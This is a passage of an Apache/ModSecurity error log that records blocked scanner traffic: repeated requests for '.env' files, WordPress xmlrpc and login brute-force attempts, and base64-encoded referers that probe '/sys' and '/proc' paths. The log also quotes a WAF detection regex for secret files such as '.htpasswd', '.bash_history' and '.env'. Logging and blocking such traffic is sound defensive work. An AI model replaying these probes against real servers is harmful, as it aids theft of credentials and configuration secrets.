9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/laravel/info.php"] [unique_id "ai3yzdyTkdrNlD40tSGmgAAAAD0"] [Sat Jun 13 18:16:13.048164 2026] [access_compat:error] [pid 648189:tid 648337] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:13.048600 2026] [access_compat:error] [pid 648189:tid 648337] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:13.071941 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.88:24376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:13.072257 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.88:24376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:13.218761 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.86:33116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:13.219186 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.86:33116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:13.307827 2026] [security2:error] [pid 646876:tid 647041] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/js/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmiQAAACE"] [Sat Jun 13 18:16:13.370351 2026] [core:error] [pid 646876:tid 647112] [client 35.252.216.164:53270] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:13.370372 2026] [core:error] [pid 646876:tid 647112] [client 35.252.216.164:53270] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:13.413771 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:13.414192 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:16:13.441835 2026] [security2:error] [pid 646876:tid 647086] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/laravel/core/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmjwAAAE4"] [Sat Jun 13 18:16:13.575210 2026] [security2:error] [pid 646876:tid 647107] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/nginx/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmlAAAAGM"] [Sat Jun 13 18:16:13.578153 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.34:62410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:13.578563 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.34:62410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:13.627384 2026] [security2:error] [pid 646876:tid 647116] [client 172.56.168.133:52126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yzdyTkdrNlD40tSGmlwAAAGw"] [Sat Jun 13 18:16:13.627526 2026] [security2:error] [pid 646876:tid 647116] [client 172.56.168.133:52126] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yzdyTkdrNlD40tSGmlwAAAGw"] [Sat Jun 13 18:16:13.650127 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.85:46290] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:13.650440 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.85:46290] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:13.708832 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/site/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmnAAAAH4"] [Sat Jun 13 18:16:13.842241 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/xampp/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmoAAAAFs"] [Sat Jun 13 18:16:13.877872 2026] [security2:error] [pid 646876:tid 646992] [remote 17.241.75.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yzdyTkdrNlD40tSGmowAAOHE"] [Sat Jun 13 18:16:13.943961 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:13.944442 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:16:13.976317 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.docker/laravel/app/.env"] [unique_id "ai3yzdyTkdrNlD40tSGmqgAAAF8"] [Sat Jun 13 18:16:13.977696 2026] [security2:error] [pid 648189:tid 648323] [remote 5.175.167.71:40406] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "corinthe-rizvi.com"] [uri "/wp-login.php"] [unique_id "ai3yzVWSojQL4F7upKBaxQAA9WQ"] [Sat Jun 13 18:16:14.029247 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.100:28625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:14.030211 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.100:28625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:14.038709 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:16:14.038984 2026] [access_compat:error] [pid 648189:tid 648263] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:16:14.185295 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.99:26710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:14.185732 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.99:26710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:14.439331 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:14.440150 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:14.792556 2026] [security2:error] [pid 646876:tid 646960] [remote 17.22.253.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yztyTkdrNlD40tSGmvQAAdFE"] [Sat Jun 13 18:16:14.802102 2026] [security2:error] [pid 646876:tid 647100] [client 210.217.96.217:8338] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yztyTkdrNlD40tSGmvwAAAFw"] [Sat Jun 13 18:16:14.802240 2026] [security2:error] [pid 646876:tid 647100] [client 210.217.96.217:8338] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yztyTkdrNlD40tSGmvwAAAFw"] [Sat Jun 13 18:16:14.816373 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.111:60068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:14.816711 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.111:60068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:14.956253 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:14.956824 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:14.971314 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.15:38579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:14.971779 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.15:38579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:14.980046 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:13536] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/main/.env"] [unique_id "ai3yztyTkdrNlD40tSGmxgAAAFA"] [Sat Jun 13 18:16:15.112490 2026] [security2:error] [pid 646876:tid 647076] [client 185.177.72.9:13536] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/bootstrap/cache/config.php"] [unique_id "ai3yz9yTkdrNlD40tSGmygAAAEQ"] [Sat Jun 13 18:16:15.364961 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.30:38186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:15.365394 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.30:38186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:15.384864 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:13540] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/storage/app/private/.env"] [unique_id "ai3yz1WSojQL4F7upKBa6gAAAL4"] [Sat Jun 13 18:16:15.473107 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:15.473559 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:15.994768 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 